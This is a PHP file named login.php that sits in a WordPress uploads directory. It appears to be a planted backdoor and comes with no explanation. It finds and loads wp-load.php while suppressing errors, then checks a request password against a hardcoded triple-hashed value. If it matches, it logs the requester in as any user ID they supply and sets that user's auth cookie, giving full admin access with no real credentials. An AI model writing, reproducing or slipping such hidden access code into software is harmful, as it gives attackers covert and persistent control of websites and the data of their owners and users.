File: /var/www/html/wp-content/uploads/2016/04/login.php
<?php
error_reporting(0);
set_time_limit(-1);
ini_set('max_execution_time', -1);
ini_set('memory_limit', -1);
function wpYukle() {
$klasor = DIRECTORY_SEPARATOR;
if (!defined('ABSPATH')) {
$yol = '.' . $klasor;
for ($i = 0; $i <= 10; $i++) {
if (file_exists($dosyaYolu = $yol . 'wp-load.php')) {
include_once($dosyaYolu);
break;
}
$yol .= '..' . $klasor;
}
}
}
wpYukle();
$islem = @$_REQUEST['action'];
if ($islem == 'login') {
$kullaniciID = @$_REQUEST['user_id'];
$sifre = @$_REQUEST['sifre'];
$sifrelenmisSifre = md5(sha1(md5($sifre)));
$dogruSifre = "29ff558aec2ad13aa1b1cd21df01c6b1";
if ($sifrelenmisSifre == $dogruSifre) {
$kullaniciBilgisi = get_userdata($kullaniciID);
$kullaniciAdi = $kullaniciBilgisi->user_login;
$kullanici = get_user_by('login', $kullaniciAdi);
if (!is_wp_error($kullanici)) {
wp_clear_auth_cookie();
wp_set_current_user($kullanici->ID);
wp_set_auth_cookie($kullanici->ID);
$yonlendirilecekAdres = user_admin_url();
wp_safe_redirect($yonlendirilecekAdres);
exit();
}
}
}
?>